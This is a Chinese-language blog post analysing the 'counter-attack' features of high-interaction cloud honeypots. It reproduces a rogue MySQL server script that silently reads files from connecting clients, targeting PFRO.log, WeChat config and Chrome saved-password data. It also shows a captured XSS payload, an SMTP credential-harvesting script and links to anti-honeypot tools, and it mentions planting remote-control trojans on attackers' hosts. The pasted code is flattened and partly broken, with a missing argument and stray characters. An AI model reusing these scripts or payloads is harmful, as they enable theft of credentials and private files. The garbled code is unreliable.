高交互式云蜜罐行為分析
概念
蜜罐又叫蜜罐Honeypot,蜜罐技術本質上是一種對攻擊方進行欺騙的技術,通過布置一些作為誘餌的主機、網絡服務或者信息,誘使攻擊方對它們實施攻擊,從而可以對攻擊行為進行捕獲和分析,了解攻擊方所使用的工具與方法,推測攻擊意圖和動機,能夠讓防御方清晰地了解他們所面對的安全威脅,并通過技術和管理手段來增強實際系統的安全防護能力。
分類
云蜜罐從交互來區分,包括低交互蜜罐、高交互蜜罐。簡單來說低交互式的蜜罐是為了實現對攻擊行為的捕獲,比如簡單仿ssh、ftp、smtp、mysql等服務實現對攻擊目標的誘捕。
高交互蜜罐一般會在低交互的基礎上除了偽造虛假服務之外,還能實現模仿托管各種系統OA辦公系統、網站等的業務系統外,能夠對攻擊者的行為進行追蹤溯源和分析。
功能
下面以某廠蜜罐為例,下面的是實時大屏。

(該圖片來自于網絡<侵刪>)
高交互蜜罐,能夠實現對攻擊者攻擊行為分析,攻擊畫像分析,攻擊源等信息進行獲取。

除了溯源畫像外,基本上低交互蜜罐也能實現其它功能。就主要功能點在下面這幾點

對于攻擊行為分析主要在日志,可以對攻擊者的操作行為進行分析(包含入侵日志、掃描日志等),當然各項日志可查看詳細信息,但是對于溯源來講僅僅這些內容是無法實現的,蜜罐除了誘捕之外的亮點就在于溯源畫像。
內容包含社交信息,當然對于溯源來說兩點就夠了。社交+可能獲取到敏感信息的反制文件。

包含多個信息點兒,主要實現的原理是通過腳本實現的。后面分享腳本兒以及抓取流量。
環境+分析
win10 192.168.63.40wireshark 3.6.5
直接開始抓包,對目標的地址進行訪問,在訪問mysql服務的時候,數據包如下

這里我們直接追蹤數據流,直接追蹤的是tcp流,在進行mysql連接的時候,用的協議自然有mysql和tcp協議,數據庫連接使用的是mysql協議,數據塊傳輸的時候使用的是tcp協議

可以看到在連接數據的時候,蜜罐會下載我們本機的文件。

這里可能跟數據庫版本有關,下載的數據塊也不是太完整,但是為了能夠盡可能多的實現或者說是獲取到攻擊方的信息,數據會進行分塊傳輸。
下面是來自github上的腳本
#coding=utf-8import socketimport osimport re
def mysql_get_file_content(filename,conn,address): logpath = os.path.abspath('.') + "/log/" + address[0] if not os.path.exists(logpath): os.makedirs(logpath) conn.sendall( "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") try: conn.recv(9999) except Exception as e: print(e)
try: conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") res1 = conn.recv(9999) # SHOW VARIABLES if 'SHOW VARIABLES' in res1: conn.sendall( res2 = conn.recv(9999) if 'SHOW WARNINGS' in res2: conn.sendall("") res3 = conn.recv(9999) if 'SHOW COLLATION' in res3: conn.sendall("") res4 = conn.recv(9999) if 'SET NAMES utf8' in res4: conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00") res5 = conn.recv(9999) if 'SET character_set_results=NULL' in res5: conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00") conn.close() else: conn.close() else: conn.close() else: conn.close() else: try: wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename conn.sendall(wantfile) content = conn.recv(99999999) # print(len(content)) conn.close() if len(content) > 4: if 'PFRO' in filename: with open(logpath + "/PFRO.log", "w") as f: f.write(content) f.close() return True else: with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f: f.write(content) f.close() return True else: return False except Exception as e: print (e) except Exception as e: print (e)
def run(): port = 3306 sv = socket.socket() sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sv.bind(("",port)) sv.listen(100)
-while True: conn, address = sv.accept() logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log' if os.path.exists(logpath): with open(logpath, 'r')as f: content = f.read() f.close()
# get username
content = content.replace('','').replace('\r','').replace(' ','').replace('\t','').replace('\00','') try: res = re.findall(r'Users\\(.*)\\', content)[0] username = res.split('\\')[0] #line = '\\\\10.76.6.93\\test' line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
# line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'
# line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/History'
#print(line) if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")): res = mysql_get_file_content(line,conn,address) if res: print ("Read Success! ---> " + line) else: print ("Not Found~ ---> " + line) else: conn.close() except Exception as e: print(e) else: line = 'C:/Windows/PFRO.log' res = mysql_get_file_content(line,conn,address) if res: print ("Read Success! ---> " + line) else: print ("Not Found~ ---> " + line)
但是真實的情況是在數據傳輸的模塊以及生成的文件不止一個mysql文件
對于個人隱私信息模塊的抓取,在訪問釣魚頁面的時候,直接查看網絡查看加載內容
我們根據監測日志流量可以看到存在跨站
跨站腳本vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385; FileName(xxx)=; PayLoad(xxx)=GET /pc/content/getMqNews?vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385 HTTP/1.1\0d\0aHost: xxxxxxxxx\0d\0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\0d\0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\0d\0aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\0d\0aAccept-Encoding: gzip, deflate\0d\0aConnection: keep-alive\0d\0aReferer: /\0d\0aUpgrade-Insecure-Requests: 1\0d\0a\0d\0a;
存在python腳本獲取個人隱私信息
這里是抓取到的當當的信息

下面是一部分監聽郵箱信息的腳本
parser = argparse.ArgumentParser(description="Command line arguments")parser.add_argument('-i',action='store', metavar='', default='0.0.0.0', help='The IP address to listen on')parser.add_argument('-p',action='store', metavar='', default='25', help='The port to listen on')parser.add_argument('-s',action='store', metavar='mailserver', default=os.environ.get('MAILSERVER_NAME', None), help='A Name that\'ll show up as the mail server name')parser.add_argument('-t',action='store', choices=['open_relay', 'postfix_creds', 'schizo_open_relay'], required=True, help='honeypot type')parser.add_argument('-logpath',action='store', metavar='', default=os.environ.get('LOGPATH'), help='path for file logging')parser.add_argument('-hpfserver', action='store', metavar='', default=os.environ.get('HPFEEDS_SERVER', None), help='HPFeeds Server')parser.add_argument('-hpfport', action='store', metavar='', default=os.environ.get('HPFEEDS_PORT', None), help='HPFeeds Port')parser.add_argument('-hpfident', action='store', metavar='', default=os.environ.get('HPFEEDS_IDENT', None), help='HPFeeds Username')parser.add_argument('-hpfsecret', action='store', metavar='', default=os.environ.get('HPFEEDS_SECRET', None), help='HPFeeds Secret')parser.add_argument('-hpfchannelprefix', action='store', metavar='', default=os.environ.get('HPFEEDS_CHANNELPREFIX', None), help='HPFeeds Channel Prefix')
args = parser.parse_args()
# set own logpath
logpath="./logs/"if args.logpath: logpath=args.logpath # set the IP address variables
bind_ip = args.ibind_port = int(args.p)srvname = args.s
核心內容就是監聽然后獲取郵箱信息,當然針對不同的網站,字段內容,后端腳本也需要修改,目前各大廠商蜜罐的目標涵蓋包含dangdang、suning、某lang、某度賬號的抓取腳本,但成功幾率不一定百分百。
那么在實現mysql反制的情況下,蜜罐能獲取到什么內容呢,下面來看一下文件內容

這個攻擊者的文件已經算是拿到的比較多的,前面提到了,在傳輸的時候因為考慮到數據塊兒的大小,所以數據是分塊傳輸的,所有個別數據有時候也不全,至于為什么有的攻擊畫像內容不完全,我個人猜測,這個跟攻擊者使用的工具版本和系統環境都有很大的關系。
PFRO內存儲的有攻擊者安裝的文件路徑等信息,且有個人的習慣的話可以讀取用戶名

文件內有整個主機的文件據對路徑以及安裝程序

攻擊者瀏覽器內存儲的密碼管理文件和書簽

含用戶名和密碼

微信id就是這么獲取的,但是確實很雞肋,是最原始的id。
applog
顧名思義,app日志文件,作為固定證據能夠使用。
如果說談一談蜜罐的優勢。高交互的蜜罐能更加區分攻擊者行為以及減少對源ip的行為誤報,在一定程度上能夠實現抓取“0day”的目的,畢竟攻擊者的操作行為可視化。
其次部分廠家的蜜罐能在反制功能除了上述內容外就是遠控攻擊者終端,免殺馬上線也能實現。
反蜜罐
下面是github上找的一些內容,不一定能用
反蜜罐插件
https://github.com/Monyer/antiHoneypothttps://github.com/Monyer/antiHoneypot
探測蜜罐
https://github.com/iiiusky/AntiHoneypot-Chrome-simple
其次就是個人習慣,良好的"習慣",也能在一定程度上實現反制。
小結
主要是基于云蜜罐純黑盒的分析,觸發告警也不一定成功,可能也不是產品的問題,畢竟也是DC,但是這個東西只能說有點兒雞肋,但是必定有中招者。